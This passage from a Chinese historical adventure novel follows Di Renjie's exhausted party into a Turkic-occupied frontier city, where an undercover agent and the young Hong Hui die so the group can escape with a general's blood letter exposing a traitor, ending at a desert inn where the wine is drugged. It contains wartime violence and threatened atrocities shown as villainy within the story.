狄仁杰点头道:“是的,如果现下西北还在他们手中,那么他们到底怕什么呢?” 洪辉道:“他们怕的总不会是我大周境内还有别的埋伏吧?” 狄仁杰微笑道:“你指的是,诸葛亮给司马懿使空城计?” 洪辉却未曾听过三国的故事,不知狄仁杰说的是什么,只道:“猪……猪……哥……死蚂蚁?我……” 狄仁杰道:“哦,你不曾听过,那我告诉你。”便将弹琴退仲达的故事讲给了他们听。 洪辉一面听,一面佩服得五体投地,末了笑道:“先生可不是当世的‘诸葛亮’?” 狄仁杰摇头苦笑道:“我要是像孔明那般聪明,也不至于这样了。” 洪辉道:“既然连孔明这样的人物都会被逼到用此冒险之计,那先生又有什么可气馁的。” 狄仁杰听了,突然有信心了,看着他微笑点头。又道:“刚才你说的‘后顾之忧’,很有可能。而他们如果要入境,那么这‘后顾’指的就绝非是埋伏,而是他们的后方。” 洪辉道:“为什么他们不可能是因为怕关内有埋伏才不敢进兵的?就像当时的诸葛亮,让司马懿以为城中有埋伏,所以司马懿才不敢进兵的。” 狄仁杰道:“你真的以为,当时司马懿是因为害怕诸葛亮的伏兵,所以才不敢进城的吗?” 胡乐道:“老爷,这故事你以前也讲过,你不是说那诸葛亮是因为知道那司马懿用兵谨慎,他也知道自己用兵也很谨慎,所以才敢使出了‘空城计’,让他以为,那个诸葛亮这么聪明的人,他怎么敢这么搞啊,所以他就以为那个诸葛亮真的是,那个,城里有埋伏,就等着他们进来,所以他,他也就不敢进了。” 狄仁杰微微一笑,道:“司马懿当然知道,他当时只要敢一声令下,叫大军入内,那么城中即便是有埋伏,也能一举将他们扫荡。可这里还有一个原因,是许多人没有看见的。” 洪辉道:“什么原因啊?” 狄仁杰道:“鸟尽弓藏,兔死狗烹。” 狄宁道:“老爷是什么意思?” 狄仁杰道:“人哪,常常不是死在敌人手里,而是死在……自己人的手里。” 洪辉道:“这我就不明白了。” 狄仁杰道:“当时魏国只有司马懿一人能匹敌诸葛亮,所以魏主才不得已而利用他。可如果诸葛亮死了呢?” 洪辉恍然大悟,道:“原来这才是‘弦外之音’。”又道:“那先生是说,今天的敌人,也是怕他们自己人?” 狄仁杰道:“听说突厥国的内部有主战和主降两派,水火不容,明争暗斗,这自然是主战一派所忧虑的一点。但我觉得,这事情应该没那么简单,因为这牵扯到了两国之间的战争,而不仅仅是他们内部的问题。所以这‘后顾’应当还有所指,也就是我们的大军。” 洪辉道:“先生是说我们的大军?” 狄仁杰道:“是的。” 洪辉道:“他们怕我们的追兵?” 狄仁杰道:“若是后顾之忧不除,前面的大军又至,那么前后夹攻,又为何不惧?” 洪辉道:“我不明白,既然我们的大军还在,那又怎么会出现在了敌军的后方呢?我军为什么会跨越西北方,使其落入敌手?” 狄仁杰道:“若是这样了话……罢了,我们现在说的都是猜测,也不能肯定,我们还是先到西北去看看吧。” 胡乐道:“要是不能啃腚,只怕还到不了西北,就先到了西天。” 狄宁道:“别说晦气话。” 胡乐道:“得嘞,饿死在半路,没人收尸。” 狄宁道:“我们不会饿死的……” 洪辉忙道:“狄宁哥说得对,我们不会饿死的。” 狄宁道:“……我们会渴死。” 几人遂朝西北方赶路。 一路上全身发软,难受至极。 胡乐不停地埋怨,后来渴得实在是受不了了,便自己住口了。 梅四儿想道:“说不定我要是活了下来,跟着姓狄的我就是头号功臣。到时候升官发财,自是指日可待。唉呀,妈,你要等着四儿啊,到时候我们就能过上好日子了……” 韩忠义一路都不再说话,只是呆呆的,跟个活死人似的。 几人行了一日,已经快死了,只行了不到几里路。 都问狄仁杰,这西北方跟边关之间的所谓“并不甚远”,到底有多远? 狄仁杰道:“可能……快五十多里路吧。” 胡乐一听大叫道:“哎呀!要死在半路啦!” 巴兰姆叹道:“这没吃没喝的,真的要死了。” 洪辉道:“现在满地都是沙子,想吃土也没可能了。” 胡乐哈哈笑道:“唉呀,咱又被老爷给害喽。” 狄仁杰一路听胡乐讥讽自己,难受得只想一头撞死,又找不着墙。 狄宁几人时常谓之“胡内奸”。 洪辉每当生无可恋之时,便想到了鹃姑娘,也因此得到了慰藉。 狄仁杰却是越来越绝望,经常想撒手完事。 韩忠义此时也不知还有没有知觉,竟似感觉不到痛苦似的。 巴兰姆则想:“众生皆苦,我这算不得什么。” 梅四儿却想:“糟糕,糟糕!真的要死在半路了!我……作孽啊!” 洪辉道:“当时应该带点土的。” 胡乐道:“我现在渴到吃也吃不下了。” 狄宁道:“你学曹操,望梅止渴。” 胡乐笑道:“欸,一想酸的还真不渴了。” 狄仁杰叹了口气。 几人遂拼命地“望梅止渴”,却渴得连口水都出不来了。 胡乐哭个不住,洪辉见了忙道:“哥,眼泪别浪费了。” 胡乐一听,忙抹了一把泪吃了。 又行了一日,狄仁杰半死不活道:“再……加……把……劲……我们……快到了……” 胡乐道:“还有多远啊……” 狄仁杰道:“四……十……九……里……” 几人遂一齐倒在了沙堆里。 此时天气越来越热了,沙子被太阳晒得极烫,几人登时被烫得爬了起来,浑身一软,又摔了下去。 本都以为来到了边关以后,大军会热烈地迎接自己,给自己好吃好喝的,又兴高采烈地说:“你们终于来啦,我们的希望啊!” 没想到,只是较之没来更惨了而已。 狄仁杰使尽全力道:“待着也得死,我们要爬过去……!”声音却细若游丝。 几人齐半死不活叫道:“爬……!” 遂皆在滚烫的地上爬动。 不知爬了多久,日头当空,忽见前方有一座城,城墙颇高。 胡乐大叫:“是城……!” 狄宁道:“是海市蜃楼……” 洪辉叫道:“我也看见了!” 巴兰姆道:“莫非到了?” 狄仁杰点头道:“是,是,是西北城。” 洪辉道:“不是还有四十多里吗?” 狄仁杰道:“我都忘了,西北门是尽头,而它前面的城镇便绵延数十里直通西北。” 洪辉道:“这么说真的到了?” 狄仁杰点头。 胡乐喜道:“哎呀!有饭吃啦!” 巴兰姆道:“是啊,我们只剩钱啦。” 狄仁杰叫道:“几步路就到了,我们走!” 遂皆爬了起来,又都摔了下去。 狄仁杰又叫:“我们爬!” 遂皆爬了过去。 到了城门边,几人勉强站了起来,感到双膝不停地颤抖。 有两个异国兵把守,见了他们,叫了一声。 几人都听不懂。 巴兰姆悄悄跟几人道:“他说的是突厥话。” 胡乐也悄声道:“你还听得懂突厥话呀?” 巴兰姆道:“略知一二。” 那两个把守的突厥兵又朝几人叫了起来,手握着腰间的刀柄。 巴兰姆忙叫几人都不要说话,过去向二人陪笑说了几句。 那二人见了巴兰姆的模样,不似中原人士,又见他会说突厥话,遂互看一眼,点了点头,倒放了心。 狄仁杰几人一句也听不懂,只是呆站着。 洪辉跟狄仁杰道:“先生,看来西北城真的是沦陷了。” 狄仁杰点了点头。 只见巴兰姆满脸陪笑,从褡裢里掏出了银子,塞在了二人手里。 二人将手中的银子握紧了,又互看一眼,露出了笑容,向巴兰姆说了句突厥话,巴兰姆便忙笑着点头,也说了句突厥话,几人猜意思不是“多谢”就是“明白”。 又见巴兰姆指着自己向二人说了什么,二人遂朝几人看了过来。 几人只是互看,不知所措。 原来巴兰姆跟二人说:“军爷,我还有几位远房亲戚,都是跟着我来的。” 二人便看了几人一眼,又看着巴兰姆道:“他们是你亲戚?” 巴兰姆忙点头道:“是,是。” 二人道:“他们也要进城?” 巴兰姆忙道:“是。” 二人遂又看了几人一眼,叫他们过来。 几人哪听得懂突厥话,仍是呆站着。 巴兰姆深怕露馅,急得一身冷汗。 狄仁杰虽察觉异样,可不知要怎么做。 二人又叫了两句,见几人仍然不动,刚觉得有点不对劲,便见巴兰姆忙道:“二位军爷,你们不要恼,他们实在是太紧张了。” 二人便道:“那你叫他们来吧!” 巴兰姆心想要是叫了汉语就露馅了,可叫突厥话他们又听不懂,便向二人道:“我可不可以过去叫他们……” 不料二人早已不耐烦了,怒道:“你要不从这里叫你就滚!我们没时间跟你耗!” 巴兰姆一惊,道:“他们太紧张了,我得去安抚安抚……” 二人指着喝道:“你叫不叫?不叫你就有问题!” 巴兰姆只好点了点头,道:“我叫。”遂回过头来,看了几人一眼,偷使眼色。 被二人看见了,喝道:“你干吗挤眉弄眼不说话!” 巴兰姆用突厥话叫他们过来。 狄仁杰几人一见他的眼神便都明白了意思,早一齐过来了。 两个突厥兵遂将他们全身上下打量了一番,见他们模样不像胡人,先就起了疑心。遂皱着眉,问他们问题。 巴兰姆更是紧张了,自己虽听得懂,却也不好翻译的。 狄仁杰几人既不欲答,也不会答,因为连问题是什么都不知道,所以也只好呆看着那两个突厥兵,还有那一脸冷汗的巴兰姆。 那两个突厥兵见他们没反应,便指着他们叫道:“你们是汉人!” 巴兰姆忙道:“不不不!他们也是胡人!” 二人叫道:“胡人怎么不说话!” 巴兰姆向二人悄声道:“不瞒二位,我的这几个亲戚是哑巴。” 二人道:“哑巴?” 巴兰姆忙点头道:“是,他们不会说话。” 二人又看了眼几人道:“怎么长得那么像汉人?” 巴兰姆道:“是像了些,可他们不是。” 二人道:“那他们听不听得懂我们说话?” 巴兰姆道:“当然听得懂,他们是胡人哪,怎么会听不懂呢。” 二人道:“那他们怎么不回答!” 巴兰姆道:“我不是说了嘛,他们是哑巴,不会说话。” 二人道:“那他们摇头点头也不会?” 巴兰姆道:“这……他们颈椎有毛病。” 说这话时,胡乐正好点了点头。 二人指着胡乐道:“那他呢?颈椎没毛病?” 巴兰姆道:“就他没毛病。” 说这话时,梅四儿正好摇了摇头。 二人指着梅四儿道:“那他呢?” 巴兰姆苦笑道:“其实都没啥问题啦。” 二人互看一眼,越来越怀疑他们是汉人。 巴兰姆道:“二位军爷,我们真不是奸细,你们就通融通融,放我们进城吧。” 二人正踌躇间,韩忠义忽仰天叹道:“鹃儿姑娘,你在天上要原谅我……” 巴兰姆大吃一惊,听那二人喝道:“他说的好像是汉语!” 狄仁杰几人明知不好,便忙按住了韩忠义的嘴。 二人见他们按嘴,更显得其做贼心虚,便喝道:“奸细!” 巴兰姆忙道:“非也!那个……”指着韩忠义道:“他,是唯一一个在汉地待过的人,所以耳濡目染,会一点点中文。” 二人道:“就他一个吗?” 巴兰姆道:“就他一个!” 胡乐道:“唉,真他妈麻烦。” 二人指着叫道:“这肥矬也是!” 巴兰姆回头看了几人一眼,深感无奈,又看着二人道:“也只有他了。” 二人道:“不行,不能放你们进去!” 巴兰姆又求了求。 二人喝道:“你们跟汉人一模一样!不是奸细又是什么!我们不抓你们都可以了,还不给我滚远远的!” 巴兰姆心想若再不进城,横竖在外都得饿死,那我就是留着一身银子又有何用? 遂又狠下了心来,从褡裢里掏出了许多许多的银子,交给了二人。 二人一见了白花花的银子,哪还管你是汉人还是胡人,连忙对他们道:“快进去吧,进去吧!” 巴兰姆大喜,忙道谢了,向几人做了个手势,便都一齐进城了。 只见城内颇为热闹,许多突厥兵一排一排的在街上巡逻。 可仔细一看,那些开店做买卖的竟多是汉人,应是原来就住在城内的,而城镇在被敌军占领了以后,他们还继续照样生活。 狄仁杰见城中处处皆是突厥军旗,不觉唤起了他那忧国忧民之心。 几人在街上正行着,忽听得一个粗粗的声音喊道:“胡狗!纳命来!” 只见一个杀猪的赤裸着上身,大叫一声,手持杀猪刀砍向那群突厥兵。 他们大吃一惊,拔出刀来,一齐砍向那杀猪的。 那杀猪的先出其不意砍伤了其中一人,却被其余的当场乱刀砍死。 狄仁杰几人见了,眼睛含泪。 洪辉气得就要冲过去,被几人连忙劝住了。 狄仁杰看着他悄声道:“小不忍则乱大谋。” 洪辉点了点头,便罢了。 只见那群突厥兵用脚狠踩那杀猪的尸体,一面用刀乱割,又笑又骂的。 几人忙转过身去不看了,先到饭店里去买了点干粮馒头,一面吃着,一面感叹“真香”。 狄仁杰却叹道:“国将不国,吃不下去啊。” 洪辉劝道:“先生,快吃吧。如果饿着肚子,怎么为国出力?” 狄仁杰听了,点了点头,便也跟着吃了。 一时吃罢,几人来至街上,只见一群百姓正围在一张告示面前观看。 几人遂挤进人群,见其上用汉语写道: “告知本地居民等:近有猖獗之徒身携不利于我军的情报混入了西北境内,实是莫大的威胁。如若有发现可疑者,并将此人举报,则赏一两银子。若查后得知并非此人,那举报者亦将无罚。若查后得知便是此人,则赏十两黄金。对此,我军定将感激不尽。还望诸位为了尽快结束战争、迎来和平,暂且放下诸般胡汉之见,共同为我突厥可汗建立国度。” 只听得其中一人道:“我不识字儿,这上头写的啥呀?” 一人遂将告示念了一遍,那些不识字的都“哦”了一声。 只听得人们说道: “反正是有英雄要来救我们了!” “嗐,只是说他有情报,也没说他就是英雄。” “有情报还不算英雄?” “那情报给你你就是英雄了?” “西北都已经沦陷了,大军全军覆没,有情报又有什么用?” “所以才需要情报来挽回啊!” “情报挽回不了。要是落在了突厥人的手里,那也还是情报。主要得靠那送情报的。” “问题是那送情报的在哪儿呢?” “告示上不是说,在城里嘛。” “城里什么地方?” “我怎么知道。” “那情报有那么重要么?” “要不重要,突厥人就不会张贴告示了。” “唉呀,那他想干吗呀?” “谁啊?” “送情报的呗。” “那当然是送情报了!” “送给谁啊?” “应该是给大军吧!” “大军都全军覆没了,还送什么送啊。” “你能不能别老说晦气话!” “你们别吵啦!好好看告示吧!” “告示有什么好看的!突厥人写的屁玩意儿,丑死了!” “那也比你好看。” “你为什么说这话!” “好了我们不要再争了。” “没什么争不争的事儿!” “你别大呼小叫的好不好!” “我没叫!” “这上面到底是什么意思!” “就是叫我们举报嘛!” “举报谁啊?” “送情报的!” “为什么举报!” “我不知道!” “我没有问你!” “我也没有回答!” “你们干吗呀?吵什么吵啊?” “我们吵关你屁事!” “上头是说呀,只要谁一举报,立刻就能拿到一两银子!而且不管那个人对不对!” “而且如果对了,就能拿到十两黄金!” “我的妈呀!十两黄金啊!” “你们讨论钱的事是什么意思?啊?你们难道还想举报自己人?” “滚你妈的自己人!我们只要钱!” “都要灭国啦!” “灭就灭啦!没钱我们老百姓照样没法儿活!” “你们为了钱都可以出卖自己人?” “我去你妈的自己人!” “你还是不是汉人!” “我告诉你!给我十两黄金,我就做他妈的胡人!” “我去你妈!” “你想打架!” “我打死你!” “你们一群胡狗!” “你们汉人都是猪!” “我爷爷叫黄金!” “我孙子是你妈!” “我去你奶奶!” “我是你野爹!” “国难当头,你们能不能像个人!” “不能!” “我要杀了你们!” “我只要钱!” “十两黄金!” “一两银子也可以。” “你们到底想怎么样?” “我们没想怎样!” “好,现在事情就这么简单。我们只要遇到了那送情报的,就一齐举报他,然后一起分那十两黄金。怎么样啊?” “我们是炎黄子孙,不能做突厥人的走狗!” “我们就做,你们管不着!” “你们一群汉奸!” “我们为了钱,就是要做汉奸!你怎么着!” 人群登时分作双方,几乎要打了起来。 忽听得一个声音叫道:“慢着!” 众人齐望向那说话的,竟是一个矮胖小子。 他先是看着众人哼哼笑了笑,随即道:“我们先过去。” 便是胡乐。 狄仁杰几人遂走开了,见双方打成了一团,不觉摇头叹气。 几人到了一茶馆,要了碗茶喝,一面悄声商议道:“这个送情报的看来很重要,尤其是他身上的情报。” 洪辉道:“他们都说大军已经全军覆没……这会不会是真的呢?” 狄仁杰道:“边关守卫大军,乃朝廷的主力所在。如果他们没了……那可真的要灭国了。” 洪辉道:“如今情势万分紧急,实在不能再耽搁了。” 狄宁道:“可这送情报的该怎么找啊?” 狄仁杰道:“他们也在通缉,说明他们也没有找到。” 胡乐道:“那我们也无从找起啊。” 狄仁杰道:“我们不如好好想想,如果我们是那送情报的,我们此刻会藏在哪里?” 洪辉想了想道:“他既是要送情报,那肯定得离西北城门不远,才好趁机脱身哪。” 狄仁杰道:“你说得对,我们现在就赶往西北城门。” 几人遂付了茶钱,争分夺秒赶路。 至天晚在一家客店歇宿,次日继续前行。 中午再吃了顿馄饨,身上便渐渐有力了。 沿途看见许多汉人的尸体横在地上,都是被杀害的,几人怒气填膺,却都为了大局而忍住了。 洪辉含泪道:“我若救不了更多的人,我就不配活在世上。” 巴兰姆道:“放心,我们能做到的。” 洪辉点点头。 狄宁道:“我们一定能做到。” 胡乐道:“这些人太坏了,他妈的,我一定要把他们活刮了!” 几人又行了一日,便到了西北城门。 只见城门紧闭,上下有许多突厥兵把守。 洪辉道:“把守这么严,难怪送情报的出不去。” 胡乐道:“唉,我们也出不去了。” 只听得四周传来喧嚷声,一群突厥兵正乱喊乱叫的,挨家挨户地搜查。 他们的队长用突厥语吼了句话,巴兰姆听了,便与几人翻译道:“他说‘城门附近定有汉人的奸细,要仔细搜查,不要放过任何可疑的人。只要感觉谁有问题,立刻就抓。’” 洪辉道:“他们果然也在附近查。” 只听得周围民宅里面传来吆喝声、翻箱倒柜之声,还有女子的尖叫声。 那队长用突厥语怒吼道:“现在是找奸细!不是找女人!” 一时那些突厥兵回说:“报告队长,没有发现可疑人物,也没有找到可疑物件。” 那队长吼道:“情报,情报!情报怎么找不到!” 突厥兵问道:“不知那情报长什么样?” 那队长吼道:“长得跟你妈一样!就一个小小的西北城,竟然抓不到一个送情报的人?你们废物一群!”又喝问城门口那些守卫:“有没有人被放跑了!” 他们道:“报告队长,绝对没有!” 那队长搔头道:“挖地三尺找遍了,怎么会找不着?”又吼道:“再搜!” 狄仁杰几人遂至旁边一客店,在里面商议道:“他们这么找都找不到,我们恐怕就更难了。” 洪辉道:“那送情报的到底藏哪儿了呢?” 狄宁道:“会不会不在城门边?” 狄仁杰道:“这西北城说大也大,说小也就那么小,藏在哪里都一样。”忽道:“还有一种可能。” 洪辉忙问:“什么?” 狄仁杰道:“他们自己的队伍里。” 洪辉道:“对啊,难怪他们找不到,原来就在他们自己人当中。” 胡乐道:“这么说……送情报的是个突厥人?” 狄仁杰道:“我看未必。” 洪辉道:“很可能是我军潜伏在他们内部的暗探。” 狄仁杰点头道:“嗯,很有可能。” 正说着,忽听得楼下传来哭喊声。 几人忙来窗前一看,只见那群突厥兵抓了许多妇女孩子,用刀架在了他们脖子上,旁边还围了一大堆百姓。 那个队长正用突厥语吼叫,旁边还站着个神气的汉奸替他翻译道:“队长是说,你们中间如果有送情报的,那就赶紧地给我站了出来!否则了话,这几个女人孩子,就得死得很惨喽!” 众人胆战心惊,看着这场面,谁也不敢说话。 只听得人群中一人叫道:“娘子!” 其中一个被抓的妇人大叫:“夫君!” 那人忙冲了过来,求道:“我求你们放过了她……” 那妇人大叫:“不许求!” 那汉奸道:“哪儿来的汉猪,是不是送情报的?” 那人忙道:“不,我不是。我……我求你们放了她……” 那妇人怒叫:“你还是不是个男人!你有没有点骨气!” 她丈夫一见了突厥人那把锋利的刀,立时便胆怯了,浑身颤抖道:“我……我……” 汉奸喝道:“不是送情报的就滚!别碍事儿!” 那丈夫又求道:“你们……还是放了她吧……” 那妇人大叫:“你给我住口!” 突厥人立即用刀指着那丈夫,唬得他大叫一声,跪了下来。 妇人怒不可遏,骂不绝口。 汉奸又笑着翻译道:“你愿不愿意代替你老婆死呢?” 那丈夫看了眼妇人,见她满面是泪,不望向自己,突然便感到了那刀锋划到了自己脖子,唬得大叫:“哎呀!别杀我!”连忙向他们磕头。 那群突厥人哈哈大笑。 汉奸又狞笑道:“他们还想玩儿玩儿你老婆,你是同意呢,还是不同意?” 那丈夫忙叫:“我同意!我同意!这骚货就是给你们拿来玩儿的!”说到后来又不自觉地向他们陪笑点头。 那汉奸便向突厥人点头哈腰,说这位丈夫还允许他们玩儿他老婆。 那队长此刻只想着要逼出那送情报的,便大叫:“扒光她们衣服,都给我奸!” 那群孩子哭叫:“不要动我妈妈!” 汉奸狞笑道:“好好看看你们汉人的娘们儿是怎么被我们给一个个的弄死!” 那群妇人哭天喊地的,围观群众却只是背着双手观看,似乎无动于衷。 那汉奸见他们这么多人,竟然没有一个敢出手相救的,不觉暗笑:“瞧瞧你们这些汉人哪,未必就比我好到哪儿去吧?” 忽听得一人叫道:“你们快住手!我就是送情报的。” 众人一看,竟是一个突厥兵。 那队长听了声音,先就吃了一惊,又缓缓地回过头来,更是难以置信:那人竟是他的副官。 那群突厥兵也登时呆了,齐望向他们的副队长。 只见那副官款款地摘下了头上的突厥帽。 那队长看着他用突厥语道:“怎么会是你?” 他仰头望天,用汉语说道:“太阳照在了大地上,既照汉人,也照胡人。可是人与人之间,总是在不停地相争。你们,都辜负了阳光啊。” 那队长看着他只是摇头,听他继续用汉语说道:“当人的生命已经如草芥一般,任人宰割之时,那么这世上势必会有人沉默,但是也会有人站起来反抗!” 那队长仍用突厥语问他:“你到底是谁?” 那副官听了,也仍用汉语答道:“我首先是一个汉人,可我更是一个良心尚未泯灭的人!我,是一个渴望和平的人!” 那队长咬牙切齿道:“原来你就是奸细。” 副官道:“不错,我潜伏在你身边日久,如今已经得知了你们的惊天阴谋。” 队长道:“那份情报在不在你身上?” 副官道:“什么情报?” 队长道:“你心里清楚。” 副官冷笑道:“你把我想得太蠢了吧,这么重要的情报,我怎么会把它藏在我身上。” 队长道:“正是因为重要,所以才会藏在你身上。” 副官道:“你先把那些妇女孩子放了,他们是无辜的。” 队长一听他关心他们,立时大笑道:“你可真是愚蠢哪,为了这几个妇孺,你竟甘愿暴露自己的身份。” 副官道:“你若放了他们,我可以告诉你情报在哪。” 队长哼的一笑,手一挥,便将他们放了。 这时围观群众早已散去。 队长道:“好啦,人也放了,把情报交出来吧。” 副官道:“我没有情报。” 队长指着喝道:“你放屁!”又叫:“给我搜!” 那副官明知逃不过了,便猛地拔出刀来,砍向那群突厥兵,又向四周大叫道:“我大周的子民听好了:我军并没有全军覆没!他们是被我们军中的那个内奸他……”还未说完便身中了几刀。 猛听得一个高亢的声音喝道:“一群狗杂种活腻了!你洪爷爷在此!” 那群突厥兵吃了一惊,忙抬起头,只见从二楼跳下一青年,朝自己直扑将来。 诸人猝不及防,登时被打倒了几个,又被抢去了一把刀,唰唰唰连声,又倒下了几个。 原来狄仁杰几人在客店楼上,见到突厥兵为非作歹,正欲遏止,便见到了那副官自己站了出来,于是静观其变。 几人这时已得知他确是情报员,且对他救人之举非常感激,此刻见他生命面临危险,又哪有袖手旁观之理? 洪辉便大喝一声,从窗口直跳了下来,扑向那群突厥兵,呼呼几拳,夺来一把刀,又左砍右劈,登时便砍倒了几人。 这时那情报员浑身是血,倒在了地上,见有人竟跟突厥兵打了起来,也是意料之外的事。 那队长见有人来救,也是一惊,又怕那情报员被救走了,泄露了军情,自己便万死难赎了。便大叫:“杀了他们!” 突厥兵知道,这“他们”当然也包括那情报员在内,便兵分两路,要去捅死那副官。 洪辉自顾不暇,一面乱砍,狄宁早跳了下来,同时扑倒几人,抢去一把刀,也跟着乱打一通。 那队长用突厥语乱喊乱叫,早有无数突厥兵源源不断赶来增援,都跟着打成一团。 狄仁杰、巴兰姆、梅四儿正快步下着楼梯,韩忠义、胡乐却早已从二楼跳了下来。 韩忠义大叫一声,先是一头撞倒了一群人,又在人群中到处乱滚,见人就打。 胡乐本不欲跳,却一不小心从屋檐上滑了下来,惊呼一声,摔在了几人身上。 一看自己底下压死了几个突厥兵,胡乐道:“哟,俺不是故意的……” 只见乱刀砍来,夹杂着突厥语的脏话,胡乐大吃一惊,连忙躲开。 狄仁杰三人早出了来,见顷刻之间,满街都是突厥兵。 洪辉、狄宁、韩忠义三人被围在了垓心,奋勇作战。 胡乐则从人群之中悄悄地滚了出来,一见了狄仁杰三人,便忙道:“老爷,那个人在那儿呢。” 四人便忙来到了一小巷子口,只见那情报员浑身是伤,正独自靠墙躺着。 一见了几人,便勉强道:“恩……恩人……你们救了我……” 几人忙蹲下,狄仁杰道:“你怎么知道是我们?” 那人道:“我……我从二楼的窗户,看见了……” 狄仁杰道:“你可是情报员?” 他点了点头,又咳了两声。 狄仁杰道:“你可认识我?” 他摇了摇头。 狄仁杰道:“我叫狄仁杰。” 他一听,忙道:“我知道!……”又咳了起来。 狄仁杰忙道:“你先别着急……” 他忙抓住了狄仁杰的手腕道:“狄大人,我知道,你是皇上派来的……”又摇了摇头,示意狄仁杰别打断他,又道:“我命不久矣,我要告诉你:大将军,已经被害了……军中的那个内奸,便是他的副将,窦亭章。他……他杀害了将军,要把大军……把大军……”还未说完便气绝。 狄仁杰赶忙搜身,从他怀中掏出了一封信,是拆开过的,便先收了起来。 这时几个突厥兵赶了来,大叫:“情报员在这里!” 见了狄仁杰几人,又指着叫:“情报在他们身上!” 几人遂拔腿狂奔,后面突厥兵大叫着追了来。 拐了好几个弯,又回到了大街上。 只见洪辉三人边打边撤,渐渐靠近城门。 四面八方均是突厥兵,闹声喧阗。 狄仁杰四人连忙跟三人会合,说情报已拿到,必须赶紧出城。 胡乐叫道:“出不了啦!” 听那汉奸在街旁喊道:“队长说了!你们几个若再不缴械投降,便把你们剁成肉酱!” 狄宁叫道:“你闭嘴!” 将手中的刀朝他掷了过去,当场砍死了。 那队长大叫一声:“放箭!” 登时乱箭齐发,射向几人。 洪辉、狄宁连忙舞刀挡格,韩忠义也是双手各持一刀,一面乱喊乱叫,到处乱挥。 狄仁杰叫道:“我们几个快推开城门!” 跟巴兰姆几人拼了命地推,根本无用。 洪辉三人叫道:“我们也来!” 跟着一齐推,好容易才推出了一条缝。 三人此时身受重伤,中了无数刀箭,已经快不行了。 狄仁杰叫道:“我们快走!” 却都明知走不了了。 几人便使劲全力狂奔出城,城头上又是乱箭射来,狄宁、韩忠义又是拼命挡格。 忽见洪辉独自一人还在城门口,拼尽全力地舞着那手中的刀,挡住了那蜂拥而至的突厥兵。 几人大叫:“洪辉!你快回来!” 洪辉一面拼命挡格,一面大叫:“你们快走!我替你们掩护!” 几人大叫:“要走一起走!” 洪辉大叫:“再不走就都走不了!” 几人一想,这是实话。 狄仁杰含泪叫道:“小辉!你快回来!” 洪辉流下了泪来,笑着叫道:“先生!我洪辉这辈子跟着你,从来没有后悔过!”又身中数刀,声嘶力竭地大叫,乱舞着手中那血迹斑斑的刀。 几人拉着狄仁杰叫道:“快走啊!不然洪辉就白死了!” 狄仁杰一面被几人硬拉着走,一面满脸泪痕地回头看。 只听得洪辉最后大叫了一句:“不管这个世界是何等的黑暗,只要有一支蜡烛,它就能放光!”说着,身中数百刀而死。 狄仁杰哭叫一声,昏倒在地。 几人也是泪流满面,带着他到处奔逃。 一时离得远了,狄仁杰醒了来,哭得昏天黑地。 其次便是狄宁、胡乐、韩忠义、巴兰姆等人,都各有各的哭法。 恐怕也只有梅四儿是表面装哭,心里在笑。 胡乐哭道:“鹃妹妹死了,辉兄弟也死了,接下来是谁呢……” 狄仁杰感到眼泪不停地涌出,怎么也擦不干。 风沙迷眼,烈日炎炎。 狄仁杰一行在大漠之中行了数日,身上干粮尚存,却因无水,快要渴死了。 胡乐却再也未发一句怨言,只因想到了洪辉。 几人早已看了那情报员揣在怀中之信,内容乃大将军王孝杰亲笔血书,写的是他如何被那军中的内奸、他的副将窦亭章所谋害,又因其有意引狼入室之故,致使西北战区失守沦陷,尽皆落入了敌军之手。 上面还说,朝廷所遣往边关的运粮队及军粮之所以屡屡未至,也皆因其通风报信、并与敌国于大周境内所安插之奸细暗中勾结的缘故。 综上所述,吾国之诸般内忧外患尽当归咎于此罪魁也。 信上还道:“窦为内奸之事,只某一人知晓,恐己死后,吾军将士仍被蒙在鼓里,且己副将自将独掌一切军事大权,而届时,后果则不堪设想。如今处临危之际,孤身于西北写此血书,并欲将之交与吾军暗探,盼其或另有大义之人,能救国家于危难、黎民于水火。若此,则某亦得以瞑目矣。” 并书云“大周将军王孝杰”。 几人阅毕,既已得知了这惊天阴谋,便刻不容缓,立即携着这封密信朝茫茫大漠之中继续追赶。 日夜兼程,几乎片刻未歇。 黄沙阻路,步履艰难。 一行人在风吹日晒之下,满面风霜。 这时口干舌燥,疲惫不堪,都坐了下来歇息。 狄宁道:“再这么下去,我们都要渴死。” 巴兰姆道:“我从前在西域经商,队伍都带了很多水,途中每遇城镇,便再往里面装。” 胡乐道:“唉呀,别说水啦,越说越渴。” 狄仁杰道:“也不知我们到底行对了方向没有。” 胡乐道:“出了西北,我们就一直往前走,也不知能不能跟大军会合。” 巴兰姆道:“待靠近北关,我便与怀英兄分手,自往吐蕃而去。” 狄仁杰道:“嗯,我们一起努力。” 韩忠义只呆呆地望着太阳光眨眼。 梅四儿想道:“再坚持一会儿,我就升官发财了,到时候……哼哼哼,我就不用再受苦了。妈,你等着啊……” 几人遂继续赶路。 沙漠之中,白天炎热,夜晚寒冷,几人感到难受至极。 这时一片风沙中,忽见前面有一小店。 胡乐指着叫道:“老爷,你看!” 狄宁道:“是海市蜃楼。” 巴兰姆道:“我也看见了,好像是个店。” 狄仁杰道:“我们过去看看。” 一行人遂来至店前,见店门简陋,匾框歪斜,脏得都看不清字了。 入内一看,陈设皆是木制,桌子柜台都颇旧了。 几人先是叫了几声“有人吗”。 没有听见响应。 忽见柜台后面有人探头探脑,几人倒唬了一跳。 胡乐大叫:“哇!有鬼!” 狄宁道:“是人。” 胡乐指着道:“那么丑还是人!” 只见那人出了来,果真似鬼。 狄仁杰几人惊魂未定,主要是被胡乐给吓的。 那人道:“哪儿来的?” 见他说的是汉语,几人便道:“从大周来的。” 那人又问:“去哪儿啊?” 胡乐骂道:“我们去哪儿关你妈的屁事!” 狄仁杰断喝:“住口!” 那人道:“吃点什么?” 几人渴得只要水喝。 那人道:“我这里有好酒,要不要来点儿?” 几人道:“酒也行。” 那人便往后头去了。 几人遂坐下了。 一时拿出碗来,与几人筛满。 几人正要喝,狄仁杰忽道:“等会儿。” 那人道:“怎么啦?” 狄仁杰道:“喝酒怎么能没有下酒菜。” 那人道:“你们先喝,我备去。” 胡乐又要喝,狄宁忙抓住他手腕,悄声道:“有蒙汗药。” 胡乐惊叫:“啊!有蒙汗药!” 梅四儿唬得一碗摔在了地上,巴兰姆早将韩忠义那碗打掉,一齐发出了碎裂之声。 狄仁杰大叫:“你们为什么要害人!” 只见帘子后面冲出十来人,手持菜刀,喝道:“交出情报,就饶了你们!” 几人早站了起来。 狄仁杰道:“你们怎么知道?” 